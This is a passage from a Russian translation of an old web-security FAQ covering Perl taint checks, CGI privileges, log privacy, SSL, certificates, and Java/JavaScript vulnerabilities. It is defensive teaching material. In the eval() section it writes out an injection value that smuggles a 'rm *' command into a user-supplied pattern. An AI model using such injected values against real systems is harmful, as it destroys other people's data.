Даже если вы не доверяете переменной PATH при запуске внешних программ, существует возможность того, что это делает внешняя программа. Поэтому следует всегда включать такую строку в начале вашего скрипта, если вы используете taint checks:

```
$ENV{'PATH'} = '/bin:/usr/bin:/usr/local/bin';
```

Отредактируйте ее так, чтобы перечислить директории, в которых вы хотите искать. Мысль о включяении текущего директория (".") в состав переменной PATH является *плохой* идеей.

B47: Как "обеззаразить (untaint) переменную?

После того, как переменная заражена, Perl не даст вам возможности использовать ее в функциях system(), exec(), piped open, eval(), обратных кавычках, или любой функции, которая влияет на что-либо за пределами программы (например - unlink). Вы не можете этого сделать даже если вы проверили переменную на содержание метасимволов или использовали команду tr/// или s/// для удаления метасимволов. Единственный способ обеззаразить переменную - использовать операцию поиска по маске и извлечение совпадающей подстроки. Например, если переменная должна содержать адрес электронной почты, то извлечь обеззараженную копию адреса можно следующим образом:

```
$mail_address=~/(\w[\w-.]*)\@([\w-.]+)/;
$untainted_address = "$1\@$2";
```

Такая маска позволит выделить адрес в форме "кому@куда", где элементы "кому" и "куда" могут включать литеры, точки и тире. Более того, "кому" не может начинаться с тире, используемого во многих программах как служебный символ командной строки.

B48: Я удаляю метасимволы из переменной, но Perl продолжает думать, что она заражена!

Смотри выше ответ на этот вопрос. Единственный способ обеззаразить переменную - применить поиск по маске.

B49: Действительно ли небезопасна операция поиска `$foo=~/$user_variable/`?

Часто задача скрипта CGI на Perl состоит в получении от пользователя списка ключевых слов и использования их в операциях поиска по маске для нахождения совпадающих имен файлов (или чего - нибудь в этом роде). Само по себе это не опасно. Опасна оптимизация, которую некоторые программы Perl используют для ускорения поиска. При использовании переменной в операции поиска, выражение компилируется всякий раз при выполнении операции. Для избежания перекомпилирования, занимающего время, можно использовать специальный флаг - o, что приведет к тому, что выражение будет откомпилировано только однажды:

```
foreach (@files) {

   m/$user_pattern/o;

}
```

Теперь, однако, Perl будет игнорировать любые изменения в переменной, что приведет к неправильной работе циклов такого рода:

```
foreach $user_pattern (@user_patterns) {
   foreach (@files) {
      print if m/$user_pattern/o;
   }
}
```

Для обхода этой проблемы программисты, пишущие на Perl, часто используют такой трюк:

```
foreach $user_pattern (@user_patterns) {
   eval "foreach (\@files) { print if m/$user_pattern/o; }";
}
```

Проблема здесь состоит в том, что в операторе eval() используется пользовательская переменная. Если переменная не подвергается тщательной проверке, то можно заставить eval() выполнить произвольный

код на Perl. Для понимания того, чем это грозит, подумайте, что произойдет в случае, если переменная будет иметь следующее значение: `"/; system 'rm *'; /"`

Проверки заразности (см. выше) позволяют поймать потенциальную опасность в этой области. Вы можете выбирать между отказом от такого рода оптимизации, или тщательным обеззараживанием переменной перед использованием. Полезная возможность в Perl5 состоит в использовании \Q и \E для комментирования метасимволов так, чтобы они не были использованы:

```
print if m/\Q$user_pattern\E/o;
```

B50: Мой скрипт CGI требует большие привелегии, чем он получает как пользователь nobody. Как мне изменить идентификатор пользователя?

Прежде всего, действительно ли это необходимо? Предоставление больших прав увеличивает риск и позволяет взломанному скрипту нанести больше вреда. Если вы хотите предоставить скрипту права пользователя root, то сперва ОЧЕНЬ хорошо подумайте.

Вы можете заставить скрипт выполняться с правами его владельца путем установки бита s:

```
chmod u+s foo.pl
```

Вы можете предоставить ему права группы, к которой принадлежит владелец, установив бит s в поле группы:

```
chmod g+s foo.pl
```

Однако, многие системы Unix содержат лазейку, позволяющую взламывать такие скрипты. Это касается только скриптов, а не компилированных программ. В таких системах попытка запуска скрипта на Perl, для которого были выставлены s биты, приведет к появлению сообщения об ошибке со стороны самого Perl.

На таких системах вы имеете две возможности:

1. Можно исправить ядро так, чтобы запретить установку этих битов для файлов скриптов. Perl тем не менее будет правильно определять эти биты и устанавливать идентификатор пользователя. Подробную информацию об этом можно найти в Perl faq:

   ftp://rtfm.mit.edu/pub/usenet-by-group/comp.lang.perl/

2. Вы можете поместить скрипт в оболочку, напмсанную на C. Обычно это выглядит так:

```
3.          #include <unistd.h>
4.          void main () {
5.          execl("/usr/local/bin/perl","foo.pl","/local/web/cgi-bin/foo.pl",NULL);
6.          }
```

   После компилирования программы, выставте s биты. Программа будет выполняться с правами владельца, запускать интерпретатор Perl и выполнять скрипт, содержащийся в файле "foo.pl".

Кроме того, можно запускать сам сервер с правами пользователя, достаточными для выполнения необходимых действий. Если вы используете сервер CERN, то у вас есть возможность запускать сервер

с разными правами для разных скриптов. См. документацию CERN для получения дальнейшей информации.

8. Файлы трассировки сервера и частная жизнь

(Спасибо Bob Bagwill, предоставившему много материала для этого раздела)

B51: Какую информацию о пользователях они могут желать сохранить в тайне?

Большинство серверов регистрируют все обращения. Записываются обычно адрес и/или имя машины, время обращения, имя пользователя (если оно известно), URL запроса (включая значения всех переменных из форм ввода, передаваемых методом GET), статус запроса и объем переданых данных. Некоторые браузеры дают кроме того информацию о том, какая программа используется, что просматривал пользователь перед обращением к серверу и адрес электронной почты пользователя. Сервер может также записывать эту информацию или передавать ее скриптам CGI. Большинство браузеров используется обычно на однопользовательских машинах, таким образом, обращение можно приписывать конкретному человеку. Предоставление любых указанных данных может быть потенциально опасным для пользователя.

Например, получение XYZ.com финансовых отчетов ABC.com может свидетельствовать о корпоративном заговоре. Информация об обращениях к объявлениям о найме может позволить узнать, кто заинтересован в смене места работы. Информация о времени чтения комикса позволяет узнать о неправильном использовании служебных ресурсов. Соответствующая запись в файле трассировки может быть похожа на такую:

```
file://prez.xyz.com/hotlists/stocks2sellshort.html -> http://www.xyz.com/
```

Форма запроса, использованного читателем, может говорить о том, как он собирается использовать полученную информацию. Данные для систем поиска особо информативны в этой части.

Другой способ получения информации об использовании Web - изучение истории, буфера и "горячего списка" браузера. Если кто-либо имеет доступ к машине пользователя, то он может получить их содержимое. Типичный пример - машины общего пользования в лаборатории или библиотеке.

Серверы - представители (proxy), используемые для доступа к узлам за пределами корпоративных брандмауэров, находятся в особо уязвимом положении. Представитель записывает каждое обращение к внешнему узлу и фиксирует адрес как браузера, так и сервера. Небрежно администрируемый proxy сервер представляет таким образом значительную угрозу частной жизни.

B52: Надо ли мне учитывать частную жизнь моих пользователей?

Да. Одно из требований к ответственному пользователю сети состоит в учете интересов других. Так же, как вы не будете пересылать частные сообщения по электронной почте, не получив согласия автора, в общем случае вы не должны использовать или передавать данные по использованию Web, которые могут быть сопоставлены с личностью.

Если вы работаете на государственном узле, то закон может требовать от вас соблюдения прав ваших читателей. В США федеральные службы не имеют права на сбор и публикацию многих типов данных о клиентах.

В большинстве штатов США библиотеки и магазины видео не имеют права продавать или другим образом передавать данные о том, какие материалы использовали их клиенты. Хотя подобные юридические стандарты в отношении электронных информационных служб пока не выработаны, пользователи Web имеют основания ожидать такого же отношения к их правам. В других странах, как например в Германии, закон явно запрещает передачу записей о доступе третьим лицам. Если ваш узел решает использовать файлы трассировки для формирования списков рассылки по электронной почте или для продажи другим организациям, то убедитесь в том, что вы четко объявляете этот факт.

B53: Как мне избежать сбора излишней информации?

Одним из требований к вашему узлу может быть необходимость сбора статистики по использованию для информирования организации и оптимизации системы. В общем случае, сбор информации об индивидуальных обращениях не необходим, или даже бесполезен.

Простейший способ избежать сбора излишней информации - использовать сервер, позволяющий настраивать формат файлов трассировки, в этом случае вы имеете возможность выбросить все лишнее. Другой способ - периодически обрабатывать и выбрасывать оригинальные записи. Поскольку записи истории обращений к популярным узлам имеют тенденцию к быстрому росту, то возможно, вам придется делать это в любом случае.

B54: Как мне защитить частную жизнь моих читателей?

Существует два класса читателей: внешние, читающие ваши документы, и внутренние, читающие ваши документы и документы на внешних узлах.

Вы можете защитить внешних пользователей путем обработки и суммирования ваших записей. Вы можете помочь защитить внутренних пользователей

1. Устанавливая четкую политику использования узла Web
2. Информируя их о политике на узле и о рисках, связанных с использованием Web
3. Используя свой proxy сервер для скрытия от внешних серверов ваших внутренних машин

Если вы не хотите "засвечивать" доступ к Web из вашего домена, вам может понадобиться получить доступ к клиенту Web для анонимного доступа у провайдера, который может его предоставить.

9. Безопасность на стороне клиента

(Автор приносит благодарность Laura Pearlman, предоставившей много вопросов и ответов в этом разделе).

Q55: Мне предложили использовать /bin/csh в качестве программы просмотра для документов, имеющих тип application/x-csh. Правильно ли это?

Это очень неправильно. Использование любой командной оболочки ОС, процессора макрокоманд или интерпретатора командного языка в качестве программ просмотра для документов делает вас уязвимым для нападения через Web. Никогда не запускайте "вслепую" никаких программ, которые вы получаете по сети (включая программы, загруженные через FTP). Гораздо безопаснее загрузить скрипт как текстовый файл, убедиться, путем его изучения, что он не делает ничего плохого и запустить его вручную.

Это предупреждение относится также к файлам для популярных процессоров документов для персональных компьютеров. Кажется естественным определить тип "application/x-msexel-macro" для получения автоматически перерасчитываемых таблиц, однако некоторые функции языка, используемого в макрокомандах программы Exel, могут быть использованы для повреждения других таблиц и файлов. То же можно сказать о таких, казалось бы безобидных, вещах, как файлы описания стиля (style sheets) и заготовки документов (template) для текстовых процессоров! Многие из текстовых процессоров имеют встроенные возможности обработки макрокоманд. Примером того, как могут быть использованы эти возможности, является "prank macro" для Microsoft Word - макрокоманда, обладающая способностью, подобно вирусу, переходить из документа в документ.

Автор знает по крайней мере об одном человеке, который решил использовать C-shell только для выполнения скриптов, написанных им самим или людьми, которым он полностью доверяет. Он вручную проверял все адреса чтобы убедиться, что их имена не содержат расширения `.csh`, прежде чем загружать их. К сожалению, имя URL не является надежным способом определения его содержимого. Тип документа определяется не браузером, а Web сервером, и документ, имеющий тип application/x-csh, может легко иметь расширение `.txt`, или даже не иметь расширения вообще.

Короче, избегайте использования внешних программ просмотра для любых документов, которые могут содержать выполняемые команды.

Прблемы безопасности учитываются в таких командных языках, как Java и Safe Tcl, которые позволяют запретить выполнение потенциально опасных операций. Существует даже прототип "Safe Perl" ("Безопасный язык Perl"), который может быть использован как более безопасный инструмент для загрузки программ на Perl.

B56: Есть ли что-либо еще, что нужно иметь в виду относительно программ внешнего просмотра?

Да. Всегда, когда вы обновляете версию программы, используемой вами как программы внешнего просмотра, вы должны подумать о проблемах, обсуждаемых в B55, в связи с возможностями,

заложенными в новую версию вашей программы. Например, если речь идет о текстовом процессоре, и в новой версии добавлен обработчик макрокоманд, то есть ли вероятность автоматического запуска скрипта при загрузке и просмотре документа?

B57: Как мне выключить сообщение "You are submitting the contents of a form insecurely" ("Вы посылаете содержимое формы ввода небезопасным путем") в программе Netscape? Следует ли обращать на него внимание?

Это сообщение означает, что содержимое формы, которую вы посылаете для обработки скриптом CGI, не зашифровано и может быть перехвачено. В настоящее время вы будете видеть это сообщение всякий раз, когда вы посылаете форму не на сервер фирмы Netscape, а на любой другой, поскольку только сервер Netscape Commerce Server может обрабатывать зашифрованные формы ввода. Вероятно, вам не стоит посылать важную информацию, такую например, как номер кредитной карты, через незашифрованную форму ввода (хотя если вы относитесь к людям, которые используют для передачи информации о кредитных картах сотовую телефонную связь, которая является еще менее защищенным способом передачи информации, то можете смело продолжать!).

Для того, чтобы выключить это сообщение, выберите пункт Preferences в меню Options программы Netscape, выберите там пункт "Images and security", и поставте метку в квадратик, обозначенный как "Warn before submitting forms insecurely" ("Предупреждать перед передачей форм небезопасным путем").

B58 Насколько надежно шифрование, используемое в протоколе SSL?

SSL использует шифрование с открытым ключом для передачи ключа сеанса связи между сервером и клиентом; этот ключ сеанса используется для шифрования данных при передаче по протоколу http (как для запросов, так и для ответов). Для каждой передачи используется новый ключ, то есть если кто-либо смог расшифровать данные одного сеанса, то это не означает, что он нашел ключ к серверу; для расшифровки следующей передачи ему понадобится столько же времени и усилий.

Серверы и браузеры Netscape используют шифрование с 40- или 128-разрядным ключом. Многие считают, что использование 40-разрядного ключа небезопасно, поскольку он может быть найден путем применения "нападения грубой силой" (т.е. путем перебора всех 2 в степени 40 возможных ключей с целью нахождения того, который использовался при шифровании). Такая возможность была продемонстрирована в 1995 году, когда французские исследователи использовали сеть рабочих станций и расшифровали сообщение, зашифрованное 40-разрядным ключем, немногим более, чем за одну неделю. Считается, что при наличии специального оборудования можно вскрыть 40-разрядный ключ в течение минут или часов. Использование 128-разрядного ключа позволяет избежать этой опасности, так как в этом случае число возможных комбинаций возрастает до 2 в степени 128. Для расшифровки путем применения грубой силы сообщения, закодированного при помощи 128-разрядного ключа при использовании современной технологии потребовалось бы время, значительно превышающее возраст вселенной. К сожалению, большинство пользователей Netscape имеют браузеры, поддерживающие только 40-разрядные ключи. Это связано с ограничениями на экспорт программ шифрования из США.

При использовании программ Netscape вы можете узнать, какой способ шифровки использован для передачи конкретного документа, посмотрев пункт "Document information" (описание документа), имеющийся в меню "File". Маленькое изображение ключа, имеющееся в нижнем левом углу окна программы, также отражает эту информацию. Цеылй ключ с 2-мя зубьями на бородке означает использование 128-разрядного ключа; целый ключ с одним зубом - 40-разрядного; а сломаный ключ означает, что шифрование не используется. Даже в том случае, если ваш браузер поддерживает 128-разрядный ключ, он может использовать 40-разрядные ключи при общении с серверами более старых версий или с серверами за пределами США и Канады.

В Microsoft Internet Explorer при использовании шифрования в нижней правой части экрана появится висячий замок. Чтобы определить, 40- или 128- разрядный ключ используется для шифрования, откройте страницу описания документа (document information page) используя пункт меню *Файл->Свойства (File->Properties)*. Там будет написоно, используется ли "слабая" (weak) или "сильная" (strong) схема шифрования.

Chosen Ciphertext Attacks (June 1998)

В июне 1998 года исследователи из Bell Laboratories изобрели технически сложный способ атаки на стандарт шифрования с публичным ключем PKCS#1 - протокол, используемый в SSL. Атака позволяет найти ключ, использованный для шифрования одного соединения, путем посылки примерно одного миллиона тщательно подобранных запросов серверу Web и изучения ответов. Если ключ удалось обнаружить, то нападающий сможет прочесть содержимое одного сеанса связи (включая текст URL, переданный в ответ документ, а также информацию, посланную в виде cookie и заполняемых форм). Поскольку персональный ключ сервера остается не вскрытым, атака должна быть повторена для каждой сессии, которую хочет прочесть нападающий. Хотя атака требует множества попыток и может занять продолжительное время, этот способ гораздо более эффективен, чем атака грубой силой.

Поскольку способ подразумевает множество запросов к серверу, атака может быть обнаружена по возрастанию времени использования процессора, объема используемой памяти или нагрузки на сеть. Кроме того, продукты, использующие библиотеку SSLEay - такие, как C2Net Stronghold - обнаружат неожиданный рост размера файлов трассировки ошибок SSL примерно на 300 MB.

Любые серверы, использующие SSL, датированные до июня 1998 года должны рассматриваться как подверженные такой атаке. Доступны исправления для следующих продуктов:

C2Net Stronghold
    http://www.c2.net/
Microsoft IIS, Microsoft Exchange
    http://www.microsoft.com/security/bulletins/ms98-002.htm
Серверы Netscape: Enterprise, Proxy, Messaging и Collabra
    http://help.netscape.com/products/server/ssldiscovery/index.html
Серверы Open Market
    http://www.openmarket.com/security
Библиотека SSLeay
    http://www.ssleay.org/announce/
Более подробную информацию можно найти в следующих источниках:

1. CERT (ftp://ftp.cert.org/pub/cert_advisories/CA-98.07.PKCS)
2. Bell Labs (http://www.bell-labs.com/) (ожидается)
3. RSA Data Security (http://www.rsa.com/rsalabs/pubs/PKCS/)

Персональные сертификаты

Начиная с 1996 года, компания VeriSign распространяла "персональные сертификаты" для использования с браузерами Microsoft и Netscape. Персональный сертификат - это уникальный идентификатор, позволяющий подтверждать Вашу личность Web-серверу или другому пользователю. Имея персональный сертификат, Вы можете посылать и получать зашифрованную электронную почту, используя систему S/MIME, идентифицировать лицо, пославшее Вам сообщение, или идентифицировать себя при обращении к серверу.

Персональные сертификаты редко используются при работе с Web. Основная область их использования - корпоративные сети (Intranet), где сертификаты дают возможность контроля доступа к внутрикорпоративной информации на сервере. Однако многие считают, что в ближайшем будущем индивидуальные сертификаты будут широко использоваться как электронная подпись при финансовых операциях в Internet.

Насколько надежны персональные сертификаты? В этой системе используется шифрование с открытым ключем. Как описано в разделе B26: SSL, надежность этой схемы шифрования полностью зависит от сохранности личного ключа пользователя. Когда Вы заказываете персональный сертификат, личный ключ автоматически генерируется и сохраняется на диске Вашего компьютера. В ходе этого процесса у Вас будет запрошен пароль, который используется для шифрования личного ключа перед записью на диск. Это уменьшает риск перехвата Вашего ключа в случае несанкционированного доступа к компьютеру напрямую или через сеть.

Увы, эта схема не может быть признана полностью надежной, поскольку личный ключ защищен ровно на столько, на сколько надежны программы, им манипулирующие. Как описано в последующих разделах, браузеры содержат множество известных и потенциальных лазеек в системе безопасности. Если одна из этих лазеек была использована для установки на Вашем компьютере новых программ или для модификации Вашего браузера, то личный ключ может быть перехвачен после того, как он был расшифрован. После этого ключ можно использовать для доступа к серверам Web, посылки почты от вашего имени и, возможно в недалеком будущем - для подписания юридических документов от Вашего лица.

В дополнение к недостаткам инфраструктуры программного обеспечения, ряд консультантов выражают обеспокоенность тем способом шифрования личных ключей, который используется в Microsoft Internet Explorer. Проблемы противоречивы и различны для разных версий IE. В одних случаях, проблема состоит в низкой надежности шифрования с 40-разрядным ключем - как было показано, эта схема может быть взломана путем атаки "грубой силой". В других случаях, личный ключ оказывается подвержен быстрому взлому с использованием "словарной атаки". Подробнее с проблемой можно ознакомиться в статье, написанной Peter Gutmann (pgut001@cs.auckland.ac.nz):

http://www.cs.auckland.ac.nz/~pgut001/pubs/breakms.txt

B59 При попытке просмотра защищенной страницы мой браузер сообщает, что сертификат узла не соответствует серверу (the site certificate doesn't match the server) и спрашивает меня, хочу ли я продолжить. Следует ли мне продолжать просмотр страницы?

Имя компьютера, на котором установлен сервер, является неизменяемой частью сертификата узла. Если реальное имя не соответствует имени в сертификате, браузер это заметит и выдаст предупреждение.

Иногда эта проблема возникает при случайной ошибке в конфигурации сервера, однако может также быть результатом того, что сертификат был украден и используется для того, чтобы вас обмануть. В большинстве случаев имеет смысл прекратить работу с документом.

Иногда вы можете встретить похожее сообщение, извещающее о том, что срок действия сертификата истек. Это может свидетельствовать о том, что вебмастер не обновил сертификат в срок, или же о том, что сертификат был украден и используется не по назначению. В этом случае также лучше всего прекратить работу.

B60 При попытке просмотра защищенной страницы мой браузер сообщает, что он не распознает организацию (authority), выдавшую сертификат, и спрашивает меня, хочу ли я продолжить. Следует ли мне продолжать просмотр страницы?

Браузеры выпускаются со встроенными списками организаций, которым можно доверять в части подтверждения идентичности узлов WWW. Несколько лет назад существовала только одна такая организация, корпорация VeriSign, однако теперь их десятки. Вы можете узнать, какие организации распознает ваш браузер, следующим путем:

1. В Netscape Navigator 1.0-3.02, выберите *Options->Security Preferences->Site Certificates*
2. В Netscape Navigator 4.X, выберите иконку *Security*.
3. В Internet Explorer, выберите *View->Options->Security->Sites...*

Браузер покажет список сертификатов CA - сертификатов, используемых утверждающими организациями для "подписывания" сертификатов индивидуальных узлов Web. Браузеры Netscape и Microsoft позволяют просматривать содержимое сертификатов, включать и выключать их, устанавливать новые и удалять имеющиеся сертификаты.

Когда узел Web предъявляет браузеру сертификат, подписанный какой-либо организацией, браузер попытается найти сертификат этой организации в своем списке. Если сертификат найден, то работа будет продолжена. Если окажется, что сертификата нет, то браузер выдаст предупреждение о том, что организация, выдавшая сертификат, неизвестна.

В случае, когда это происходит, ваши возможности зависят от используемого браузера. Если вы используете браузеры Netscape, то у вас есть возможность изучить содержимое сертификата и подпись выдавшей его организации. Если вы решили продолжить, то вы можете принять сертификат либо только для текущего сеанса связи, либо и для последующих соединений. Если вы принимаете сертификат, то он будет установлен в браузере среди других сертификатов CA, и соединение будет установлено. Internet Explorer не дает такой возможности. Для доступа к узлу вам будет необходимо достать сертификат утверждающей организации и установить его. Как это делается - мы обсудим ниже.

Безопасно ли принимать сертификат, выданный неизвестной организацией? Если вы используете старый браузер, то возможно, что организация существует, но начала работать уже после того, как был выпущен ваш браузер. Существует, однако, возможность того, что сертификат выдан липовой организацией - ничто не мешает узлу WWW получить соответствующие программы и выпускать свои сертификаты. Никогда не принимайте сертификаты вслепую! Сперва изучите его и обратитесь в

выдавшую организацию напрямую (по телефону), если у вас возникают вопросы. Если вам не удается легко определить, как войти в контакт с организацией, то скорее всего этой организации не существует.

Вы можете добавлять новые утверждающие организации в список вашего браузера. Вы можете сделать это, открыв URL, указывающий на сертификат организации. Браузер выдаст предупреждение о том, что вы собираетесь установить новый сертификат CA, и даст вам возможность отказаться от этого. Если вы продолжите, то новый сертификат будет установлен, и новая организация появится в списке вашего браузера. Все узлы, представляющие сертификат, подписанный этой организацией, будут теперь распознаваться вашим браузером, и соединения SSL будут устанавливаться с ними.

По соображениям безопасности, новые сертификаты CA следует устанавливать с большой осторожностью. Никогда не принимайте сертификат CA если вы не знаете точно, что делаете, и если вы не знаете *заранее*, что организации можно доверять. Так, многие компании создают внутренние утверждающие организации для выдачи сертификатов, используемых на корпоративных серверах intranet. Если ваш сотрудник дает вам дискету и просит установить содержащийся на ней сертификат, вы можете чуствовать себя спокойно, устанавливая его. Однако, если диалог установки CA неожиданно появляется при просмотре сайтов Internet, незамедлительно прекращайте работу и сообщайте об этом администратору узла.

B61: Насколько скрыты мои обращения к документам WWW?

Читайте раздел (7) выше. Информация о всех запросах сохраняется на сервере. Ваше имя обычно не записывается, но IP адрес и имя компьютера как правило фиксируются. Кроме того, некоторые серверы сохраняют также адрес страницы, которую вы просматривали в тот момент, когда обратились с новым запросом к серверу. Если сервер поддерживается корректно, то ваша информация будет использована только для получения статистики и в целях отладки. Однако, на некоторых узлах файлы трассировки могут быть оставлены доступными для местных пользователей, или даже использоваться для составления списков адресов для рассылки.

Содержимое запросов, для передачи которых использовался метод GET, попадает в файлы трассировки, поскольку в этом случае данные для запроса входят в состав адреса документа. Данные вашего запроса не записываются в случае, если для его передачи используется метод POST (что обычно происходит при заполнении форм ввода). Если вы не хотите, чтобы ключевые слова, которые были использованы вами при поиске, попали в какие-нибудь доступные списки, проверте, какой метод - GET или POST - используется в скрипте для поиска. Простейший метод состоит в использовании фиктивных ключевых слов при первом запросе. Если введенные слова появляются в адресе (URL) полученного ответа, то они могут появляться и в каком-нибудь файле трассировки на удаленном сервере.

Пары сервер/браузер, использующие шифрование данных - такие, как Netscape, шифруют запросы URL. Более того, зашифрованные запросы не появляются в файлах трассировки, поскольку для их передачи используется метод POST.

B62: В чем состоит разница между Java и JavaScript?

Java и JavaScript, хотя и обладают похожими именами, представляют собой разные вещи. Java - это язык, разработанный фирмой Sun Microsystems. Скрипты на языке Java компилируются и хранятся на

сервере в компактной форме. Документы HTML ссылаются на мини-программы, называемые "Java-апплеты", через элементы <APPLET>. Браузеры, поддерживающие элементы <APPLET> (Netscape Navigator 2.0, Microsoft Internet Explorer 3.0 и HotJava фирмы Sun), загружают с сервера откомпилированную программу и запускают ее.

JavaScript - это набор расширений языка HTML, разработанный Netscape Corporation и используемый в Netscape Navigator версии 2.0 и более поздних, а также в Microsoft Internet Explorer начиная с версии 3.0. Это интерпретируемый язык, предназначенный для управления браузером; он позволяет открывать и закрывать окна, управлять элементами форм ввода, изменять настройки браузера, загружать и запускать апплеты Java.

Хотя JavaScript похож на Java по синтаксису, они отличаются по многим другим параметрам.

B63: Есть ли известные лазейки в защите в Java?

Программы на Java, поскольку они выполняются на той машине, где запущен браузер, а не на машине с сервером, подвергают риску больше клиента, чем сервер. Есть ли здесь основание для беспокойства со стороны пользователя?

Для повышения защищенности машины пользователя в Java встроен ряд ограничений. В процессе выполнения скрипт на языке Java находится под контролем объекта, называющегося "менеджер безопасности" (Security Manager). Менеджер безопасности обычно не позволяет апплету выполнять произвольные системные команды, загружать системные библиотеки или обращаться к системным устройствам, таким, как диски. Кроме того, запись и чтение файлов ограничены директорием, определяемым пользователем (браузер HotJava позволяет назначить этот директорий, а Netscape полностью запрещает операции с файлами).

Апплеты ограничены также в возможности установки сетевых соединений: они могут обращаться по сети только к тому серверу, с которого были загружены. Это важно по причинам, обсуждаемым ниже.

Наконец, апплет может либо обращаться к сети, либо обращаться к диску, но менеджер безопасности не позволяет делать и то и другое. Это ограничение введено для предотвращения возможности для апплета считать частный файл пользователя с диска на клиентской машине и передать его на сервер.

Лазейки в защите

Увы, вскоре после выпуска, в Java был найден ряд лазеек в защите, связанных с ошибками в реализации. Хотя большинство серьезных ошибок в текущих версиях исправлено, остается в наличии по крайней мере одна серьезная лазейка, и много оснований для беспокойства вызывает способ построения самого языка. В статье *Java Security: From HotJava to Netscape and Beyond*, опубликованной в рамках симпозиума IEEE по безопасности 1996 года, Drew Dean, Edvard Felten и Dan Wallach приводят подробный разбор лазеек в системе безопасности Java и делают следующие выводы:
Мы заключаем, что система Java в том виде, в котором она сейчас существует, не может быть легко сделана безопасной. Видимо, серьезная переработка языка, формата байт-кода и управляющего механизма являются необходимыми шагами на пути к построению высоконадежной системы.

В свете нынешних проблем с Java, безопаснее всего выключать поддержку Java (через пункт меню Security Preferences в Netscape) за исключением тех случаев, когда вы работаете с хорошо известным и надежным сервером. В Netscape Navigator версий 2.0-3.02, это можно сделать, убрав метку с пункта

"Java" в *Options->Network Preferences->Languages*. В Internet Explorer 3.02, снимите метку с "Enable Java Programs" в окне *View->Options->Security->Active Content*.

Труднее выключить Java в версиях 4.0 Navigator и Internet Explorer. В Netscape Navigator 4.0 выберите в меню *Edit->Preferences*, затем выберите пункт "Advanced". Снимите метку с пункта "Enable Java".

В IE 4.0, выберите *View->Internet Options->Security*, выберите Internet Zone, затем - "Custom". Теперь нажмите кнопку "Settings..." и найдите пункт Java settings. Выберите "Disable Java."

Вот некоторые конкретные лазейки, имеющиеся в реализации Java, используемой в различных версиях браузеров Netscape и Internet Explorer:

Возможность выполнения произвольных машинных команд

22 марта 1996 года Drew Dean (mailto:ddean@CS.Princeton.EDU) и Ed Felton (felten@CS.Princeton.EDU) из Princeton Dept of Computer Science сообщили, что им удалось использовать ошибку в Java для написания апплета, уничтожающего файл на диске пользователя. Двоичный файл библиотеки сперва сохраняется на диске пользователя через механизм кэширования Netscape, после чего интерпретатор Java его загружает и выполняет.

Эта ошибка присутствует в версиях Netscape 2.0 и 2.01, она была исправлена в версиях 2.02 и 3.0x.

Более подробную информацию по этой ошибке можно найти по адресу:

http://www.cs.princeton.edu/sip

Подверженность нападению с целью подавления

Апплеты могут истощать системные ресурсы, такие как память или процессорное время. Это может происходить как результат ошибки программиста или в результате сознательных действий, направленных на замедление работы компьютера до состояния невозможности использования его. Апплеты, выполняющиеся на одном браузере, не изолированы друг от друга. Один аплет может легко обнаружить присутствие другого и взаимодействовать с ним, что дает интересную возможность для производителей создавать апплеты, которые инициируют ошибочные действия в апплетах конкурентов.

Если апплет ведет себя подозрительно, то закрытие страницы, с которой он был получен, может быть недостаточно для его выключения. В этом случае может быть необходимо выключить браузер целиком.

Возможность сетевого соединения с произвольной машиной

версия 2.0 браузера Netscape Navigator содержит еще одну ошибку, на этот раз в части ограничения возможности апплетов связываться с произвольными компьютерами. **Эта ошибка была исправлена** в последующих версиях, и вам настоятельно рекомендуется обновить вашу версию Netscape, если вы еще не сделали этого.

Предполагается, что апплеты могут связываться только с сервером, с которого они получены. Однако, в начале марта 1996 года Steve Gibbons (a href="mailto:sgibbo@amexdns.amex-trs.com" mailto:sgibbo@amexdns.amex-trs.com) и независимо от него Drew Dean (ddean@CS.Princeton.EDU) нашли лазейку, позволяющую апплетам соединяться с любой машиной в Intrnet. Это серьезная проблема: с момента запуска на машине пользователя, апплет может соединяться с любым компьютером в локальной сети пользователя, *даже если локальная сеть защищена брандмауэром*. Многие локальные сети организованы таким образом, что местным машинам разрешен доступ ко внутренним ресурсам в сети, закрытым для внешнего мира. В качестве простого примера, апплет может

открыть соединение с внутренним сервером новостей организации, получить свежие статьи из внутренней телеконференции, и передать их на удаленный сервер.

Пользователи Unix, знакомые с командами `rsh`, `rlogin` и `rcp`, поймут, что эта возможность подвергает риску системы, доверяющие друг другу достаточно для того, чтобы разрешать удаленное выполнение этих команд. Эта ошибка дает также возможность сбора информации о топологии и организации имен в локальных сетях, защищенных брандмауэрами.

Эта лазейка использует доверие Java к системе поддержки имен доменов (DNS) для подтверждения права доступа к определенному серверу. Злоумышленник, используя собственный сервер DNS, может создать фиктивную запись в системе DNS и убедить таким образом систему, что она может соединяться с машиной, доступ к которой должен быть запрешен.

Возможность обхода менеджера безопасности при помощи байт-кода, введенного вручную.

5 марта 1997 года собственный контролер безопасности в JavaSoft нашел ошибку в системе проверки байт-кода Java. Эта ошибка теоретически может быть использована для обхода менеджера безопасности в Java и выполнения запрещенных операций. Неизвестно, была ли эта ошибка использована на практике. Ошибка присутствует в JDK 1.1, Microsoft Internet Explorer версии 3.01 и более ранних, и в Netscape Navigator 3.01 и более ранних. Исправления были предоставлены фирмам, имеющим лицензии на библиотеки Java и должны быть включены в более поздние версии указанных программ.

Дополнительная информация по безопасности в применении к Java может быть получена по адресу:

`http://java.sun.com/sfaq/`

B64: Извесны ли проблемы с безопасностью в JavaScript?

JavaScript также имеет богатую историю лазеек в безопасности. В отличие от Java, лазейки в которой грозят изменением данных на диске пользователя, лазейки в JavaScript обычно угрожают приватной иформации пользователя. Хотя многие ошибки были исправлены, постоянно находятся новые.

Возможность перехвата адреса e-mail и других установок пользователя (февраль 1998)

Версии Netscape Navigator 4.0 - 4.04 содержат лазейку, связанную с доступом программ на JavaScript к настройкам программы. Настройки, хранимые в файле *preferences.js* в директории Netscape, включают информацию личного характера, такую как Ваш адрес e-mail, имена файлов с письмами, идентификаторы серверов почты и новостей. Кроме того, часто Ваши пароли для доступа к почтовому и FTP серверам хранятся в этом же файле. Чтобы посмотреть, что еще там есть, можно открыть этот файл текстовым редактором и прочесть его содержимое.

Web страница с программой на JavaScript может загрузить этот файл и отправить его содержимое на сервер. Это может быть использовано для получения почтового адреса пользователя и информации о конфигурации его сети. Наибольший риск состоит в возможности получения пароля для доступа к почтовому серверу. Поскольку этот пароль часто совпадает с паролем входа в локальную сеть организации, то тем самым открывается дорога для проникновения в сеть.

Ошибке подвержены все версии Netscape Navigator до 4.04 включительно. По сообщениям, проблема исправлена в версии 4.05. Пожалуйста, обновите вашу версию как можно скорее. Конечно, выключение

